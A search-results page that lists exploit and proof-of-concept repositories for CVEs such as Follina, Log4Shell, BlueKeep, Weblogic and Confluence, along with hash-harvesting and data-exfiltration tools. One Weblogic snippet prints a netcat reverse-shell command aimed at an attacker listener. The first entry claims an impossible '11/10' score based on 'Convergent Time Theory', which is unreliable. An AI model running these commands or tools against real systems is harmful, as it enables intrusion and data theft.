1134188 matches found
CTT-Mailpit-RCE-v1.0---Temporal-Resonance-Mail-Server-Takeover
🎯 CTT-Mailpit-Exploit：完美 11/10 分零点击蠕虫 利用收敛时间理论（Convergent Time Theory），将基础的 SMTP 头注入漏洞（CVE-2026-23829）转化为一个满分、自传播的 RCE 蠕虫。 📊 分数转化：6.1 → 11.0/10 ⭐...
CVE-2023-50643
CVE-2023-50643 CVE-2023-50643 An issue in Evernote for MacOS v.10.68.2 allows a remote, attacker to execute arbitrary code via the RunAsNode and enableNodeClilnspectArguments components There is a tool designed to automate the process of searching for vulnerabilities in electron:...
rails-exploit-cve-2013-0156
== Rails PoC exploits for CVE-2013-0156 and CVE-2013-0155 Bootstrapped a Rails 3.2.10 application with the remote code execution exploit. Ref: https://github.com/ronin-ruby/ronin-ruby.github.com/blob/rails-pocs/blog/posts/2013-01-09-rails-pocs.md === Setup Install gem dependencies and fire up the...
CVE-2022-30190---Follina---Poc-Exploit
Follina - CVE-2022-30190 Follina is a zero day allowing code execution in Office products. Installation root@kitploit: git clone https://github.com/WesyHub/CVE-2022-30190---Follina---Poc-Exploit.git Usage Example : root@kitploit: python3 FollinaSploit.py -c calc -o poc.docx -p 80 Please make sure...
log4shell-docker-lab
Log4Shell docker lab for CVE-2021-44228 The components This docker lab makes use of three components, being: The vulnerable spring-boot application An HTTP server that hosts .class files used for remote code execution An LDAP referral server which redirects specific LDAP queries to the HTTP serve...
Project-CVE-2015-1635
CVE-2015-1635 CVE-2015-1635, MS15-034 Vulnerability Detection root@kitploit: USAGE python MS15-034.py www.xxx.com:80 Test Program HTTP.sys Remote Code Execution Vulnerability CVE-2015-1635, MS15-034 A remote code execution vulnerability exists in the HTTP protocol stack HTTP.sys when HTTP.sys doe...
CVE-2020-14645
CVE-2020-14645 Weblogic Server CVE-2020-14645 EXP for Python （complete in one step） Useage: Python3 exploit.py -t -c tips: No echo Example： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' then you will getshell...
CNVD-C-2019-48814-CNNVD-201904-961
CNVD-C-2019-48814和CNNVD-201904-961 Thanks to t00ls-ximcx0101 for providing the script CNVD-C-2019-48814 POC Summary Related links: Qingshui Chuanqi's Jianshu article: https://www.jianshu.com/p/c4982a845f55 Reposted by Security Ancestor: https://dwz.cn/2GQvbUae Due to environment factors, paths ma...
REALITY_SMASHER
REALITYSMASHER vRealize RCE + Privesc CVE-2021-21975, CVE-2021-21983, CVE-0DAY-????? "As easy to stop as it is to comprehend." What is it? "Reality Smasher" is an exploit for vRealize leveraging the security issues addressed in VMSA-2021-0004 CVE-2021-21975, CVE-2021-21983 in addition to a...
CVE-2019-7609-KibanaRCE
CVE-2019-7609-KibanaRCE CVEをPython 3と互換性を持たせるために、軽微な変更が加えられました。cve-modific.py 以下が変更内容です。getkibanaversion関数内で、match = re.findallpattern, r.contentという行がmatch = re.findallpattern, r.textに更新されました。この変更は、r.contentではなくr.textを使用することで、レスポンスをバイト列ではなく文字列として扱えるようにするために行われました。 教育目的のため...
CoD-MW-Warzone-2---CVE-2023-38821
CoD-MW-Warzone-2 - CVE-2023-38821 使命召唤现代战争战区2中的DLL种植漏洞 - CVE-2023-38821 发现者: Idan Malihi 描述 动视《使命召唤：现代战争》战区v2中存在一个问题，允许本地攻击者通过精心构造的文件对UMPDC.dll、MSIMG32.dll、RTWorkQ.DLL、WINSTA.dll、CRYPTSP.dll、dnsapi.dll、MSASN1.dll、webio.dll、fwbase.dll、ncrypt.dll和DPAPI.DLL组件执行任意代码。 复现步骤 要利用该DLL种植漏洞，攻击者应执行以下步骤： 1...
CVE-2019-11043
CVE-2019-11043 Python exp for CVE-2019-11043 root@kitploit: You can use build environment from https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043 Usage： root@kitploit: python3 main.py -u http://iptopage/index.php If you success, you will see: root@kitploit: Base status code is 200...
CVE-2023-22527
CVE-2023-22527 - RCE Remote Code Execution Vulnerability In Confluence Data Center and Confluence Server PoC Detect nuclei -v -t /path/to/template.yam; -u http://ip:port/ Exploit python3 CVE-2023-22527.py -u ip:port -lh listen-host -lp listen-port...
Farmer
Farmer Autor: @domchell Descripción general Quería ser granjero, así que empecé a cosechar hashes Farmer es un proyecto para recolectar hashes NetNTLM en un dominio de Windows. Farmer lo consigue creando un servidor WebDAV local que hace que el Redirector Mini WebDAV se autentique desde cualquier...
Unomi-CVE-2020-13942
CVE-2020-13942 Apache Unomi リモートコード実行脆弱性スクリプト 脆弱性の概要 Apache UnomiはJavaベースのオープンソースデータプラットフォームであり、顧客、見込み客、訪問者のデータを管理し、カスタマーエクスペリエンスのパーソナライズを支援するJavaサーバーです。Unomiは、CMS、CRM、問題追跡システム、ネイティブモバイルアプリなど、非常に異なるシステム間でのパーソナライズとプロファイル管理を統合するために使用できます。 Apache Unomi...
log4shell-minecraft-demo
Log4Shell CVE-2021-44228 minecraft demo This demo is used at education fairs to give potential future students an idea of the cybersecurity department at HTL Villach and on how everyday applications can be exploited Note: This entire demo uses Minecraft 1.8.8 Attacker The attacker in this scenari...
ownCloud_RCE_CVE-2013-0303
This repository does not have a README...
QRExfil
QRExfiltrate Esta herramienta es una utilidad de línea de comandos que te permite convertir cualquier archivo binario en un GIF de códigos QR. Los datos pueden luego ser reensamblados visualmente permitiendo la exfiltración de datos en sistemas aislados. Fue diseñada como una prueba de concepto...
CVE-2019-0708
CVE-2019-0708 BlueKeep pre-auth RCE POC on Windows7 This repository demonstrates the remote code execution bug in Windows Remote Desktop Services RDS. Here is a POC code and technical report about BlueKeep vulnerability, which we developed before. NOTE: Our goal is helping analysts to get better...